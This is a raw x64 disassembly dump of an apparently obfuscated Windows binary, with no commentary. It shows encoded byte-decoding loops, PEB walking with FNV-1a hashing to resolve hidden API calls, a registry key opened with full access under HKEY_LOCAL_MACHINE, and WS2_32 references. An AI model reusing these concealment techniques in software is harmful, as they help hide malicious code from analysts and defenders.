jmp 0x1401dbc8c
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, byte [rbp + r9 + 0x580]
sub cl, al
sub dl, 0x50
jmp 0x1401db841
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
sub cl, byte [rbp + r9 + 0x580]
jmp 0x1401dbd6a
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x56
jmp 0x1401dbd6f
movabs rdx, 0x52684186f309aefe
mov ecx, 7
jmp 0x1401db651
movabs rdx, 0x7983d8e49282082
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401dbd0f
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x48], rdx
jmp 0x1401dbcbd
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
jmp 0x1401dbb7b
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
sub dl, 0x36
add al, al
mov cl, r8b
sub cl, al
add dl, cl
mov qword [rbp - 0x48], rdx
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x580], cl
add r10, r15
sub r9, r15
mov rsi, qword [rbp - 0x48]
jmp 0x1401dbe0a
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0xa
add dl, cl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, dl
add r8b, cl
sub r8b, r12b
mov byte [rbp + r9 + 0x580], r8b
mov qword [rbp - 0x48], rdx
add rbx, r10
mov rsi, rdx
jmp 0x1401dbd3b
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea esi, [rcx + rdx]
sub sil, 0x42
mov qword [rbp - 0x48], rsi
movzx eax, sil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401dbe0a
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edx, [rax + rax]
add dl, cl
add dl, r8b
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x580], al
add r10, r15
add rax, r10
sub r9, rax
mov qword [rbp - 0x48], rdx
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x580], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov rsi, rdx
jmp 0x1401dbdfb
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea esi, [rdx + rcx]
sub sil, 0x16
mov qword [rbp - 0x48], rsi
movzx eax, byte [rbp + r9 + 0x580]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401db254
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x7a
mov qword [rbp - 0x48], rsi
jmp 0x1401db24f
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x16
mov qword [rbp - 0x48], rsi
jmp 0x1401db23f
lea r12, [rbp + 0x145e328]
jmp 0x1401dbe7b
lea r12, [rbp + 0x136aa66]
jmp 0x1401dbe7b
lea r12, [rbp + 0x580]
mov r10, qword [0x1404dbc30]
xor eax, eax
test r10, r10
jne 0x1401dbfee
mov esi, eax
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401dbefc
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401dbeee
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401dbedd
cmp r8d, esi
jne 0x1401dbfce
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401dbfce
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401dbfce
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401dbf50
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401dbf45
cmp edx, r14d
je 0x1401dbf66
test r10d, r10d
jne 0x1401dbf30
jmp 0x1401dbfce
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401dbfe5
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401dbfe5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401dbfc1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x1401dbf9d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x1401dbfb4
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401dbfe2
cmp qword [rbx + 0x30], rax
jne 0x1401dbeac
mov r10, rax
mov qword [0x1404dbc30], r10
xor eax, eax
mov qword [rsp + 0x40], rax
lea rcx, [0x1404db4f8]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404dbba8]
xor eax, eax
test rdx, rdx
jne 0x1401dc195
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401dc0a2
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x1401dc094
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x1401dc083
cmp r9d, esi
jne 0x1401dc182
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401dc182
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401dc182
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, 0x811c9dc5
jmp 0x1401dc0fd
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1401dc0f0
cmp r8d, r14d
je 0x1401dc112
test ebx, ebx
jne 0x1401dc0db
jmp 0x1401dc182
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x1401dc18a
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1401dc18a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401dc153
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401dc145
jmp 0x1401dc168
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401dc15b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401dc052
mov qword [0x1404dbba8], rdx
mov r13, qword [rbp - 0x58]
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404dbbe8]
xor eax, eax
test rbx, rbx
jne 0x1401dc30b
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401dc21d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401dc20f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401dc1fe
cmp r8d, esi
jne 0x1401dc2ed
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401dc2ed
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401dc2ed
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401dc271
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401dc266
cmp edx, r14d
je 0x1401dc287
test r11d, r11d
jne 0x1401dc251
jmp 0x1401dc2ed
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1401dc304
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401dc304
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x1401dc2e1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x1401dc2be
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x1401dc2d4
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401dc301
cmp qword [rbx + 0x30], rax
jne 0x1401dc1cd
mov rbx, rax
mov qword [0x1404dbbe8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404dbbe0]
xor eax, eax
test rdx, rdx
jne 0x1401dc487
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401dc399
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401dc38b
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401dc37a
cmp r8d, esi
jne 0x1401dc469
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401dc469
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401dc469
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401dc3ed
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401dc3e2
cmp edx, r14d
je 0x1401dc403
test r11d, r11d
jne 0x1401dc3cd
jmp 0x1401dc469
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401dc480
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401dc480
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401dc45d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401dc43a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401dc450
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401dc47d
cmp qword [rbx + 0x30], rax
jne 0x1401dc349
mov rdx, rax
mov qword [0x1404dbbe0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd8]
xor eax, eax
test rdx, rdx
jne 0x1401dc5fa
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401dc50c
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401dc4fe
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401dc4ed
cmp r8d, esi
jne 0x1401dc5dc
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401dc5dc
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401dc5dc
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401dc560
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401dc555
cmp edx, r14d
je 0x1401dc576
test r11d, r11d
jne 0x1401dc540
jmp 0x1401dc5dc
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401dc5f3
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401dc5f3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401dc5d0
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401dc5ad
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401dc5c3
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401dc5f0
cmp qword [rbx + 0x30], rax
jne 0x1401dc4bc
mov rdx, rax
mov qword [0x1404dbbd8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd0]
xor eax, eax
test rdx, rdx
jne 0x1401dc76d
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401dc67f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401dc671
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401dc660
cmp r8d, esi
jne 0x1401dc74f
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401dc74f
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401dc74f
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401dc6d3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401dc6c8
cmp edx, r14d
je 0x1401dc6e9
test r11d, r11d
jne 0x1401dc6b3
jmp 0x1401dc74f
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401dc766
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401dc766
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401dc743
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401dc720
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401dc736
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401dc763
cmp qword [rbx + 0x30], rax
jne 0x1401dc62f
mov rdx, rax
mov qword [0x1404dbbd0], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x1404dbbc8], rax
jne 0x1401dc8df
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401dc7ef
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401dc7e1
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401dc7d0
cmp r8d, esi
jne 0x1401dc8c1
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401dc8c1
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401dc8c1
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401dc843
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401dc838
cmp edx, r14d
je 0x1401dc859
test r9d, r9d
jne 0x1401dc823
jmp 0x1401dc8c1
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1401dc8d8
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x1401dc8d8
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x1401dc8b4
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x1401dc890
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x1401dc8a7
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401dc8d5
cmp qword [rbx + 0x30], rax
jne 0x1401dc79f
mov r9, rax
mov qword [0x1404dbbc8], r9
mov r8, qword [0x1404dbc00]
test r8, r8
jne 0x1401dc956
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x1401dc93c
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401dc91d
cmp r9d, 0x610c0de3
je 0x1401dc9ac
mov r8, qword [r8]
xor eax, eax
cmp r8, r10
je 0x1401dc94c
cmp qword [r8 + 0x30], rax
jne 0x1401dc902
mov r8, rax
mov qword [0x1404dbc00], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r11d, dword [r10 + r8 + 0x20]
lea edi, [rax + 1]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x1401dc9a7
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x1401dc98b
cmp ecx, 0xe463da3c
je 0x1401dc9b2
add r9d, edi
jmp 0x1401dc96f
mov r8, qword [r8 + 0x30]
jmp 0x1401dc94f
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404dbbf8]
xor eax, eax
test r10, r10
jne 0x1401dcb4c
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401dca57
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401dca49
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401dca38
cmp r8d, esi
jne 0x1401dcb29
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401dcb29
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401dcb29
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [rdi + r10*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401dcaab
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401dcaa0
cmp edx, r14d
je 0x1401dcac1
test r10d, r10d
jne 0x1401dca8b
jmp 0x1401dcb29
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401dcb40
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401dcb40
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401dcb1c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x1401dcaf8
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x1401dcb0f
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401dcb3d
cmp qword [rbx + 0x30], rax
jne 0x1401dca07
mov r10, rax
mov qword [0x1404dbbf8], r10
mov edi, 1
lea r9, [rbp + 0x11a0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404dbbf0]
xor eax, eax
test r8, r8
jne 0x1401dccd2
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401dcbe2
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401dcbd4
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401dcbc3
cmp r8d, esi
jne 0x1401dccb4
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401dccb4
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401dccb4
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401dcc36
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401dcc2b
cmp edx, r14d
je 0x1401dcc4c
test r11d, r11d
jne 0x1401dcc16
jmp 0x1401dccb4
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x1401dcccb
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1401dcccb
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401dcca7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x1401dcc83
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x1401dcc9a
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401dccc8
cmp qword [rbx + 0x30], rax
jne 0x1401dcb92
mov r8, rax
mov qword [0x1404dbbf0], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rdi, qword [rbp - 0x50]
mov rsi, qword [rbp - 0x48]
mov r14, qword [rbp - 0x68]
mov r12, qword [rbp - 8]
mov edx, dword [rsp + 0x68]
inc edx
mov dword [rsp + 0x68], edx
add qword [rbp - 0x18], 0x28
mov rax, qword [rbp - 0x20]
movzx eax, word [rax + 6]
cmp edx, eax
mov r15, qword [rbp - 0x10]
jl 0x1401d6bf4
mov r15d, 1
or r12, 0xffffffffffffffff
mov ebx, 0xfa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x11d0], xmm0
mov qword [rbp + 0x11e0], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x11f0]
call sub.VCRUNTIME140.dll_memset
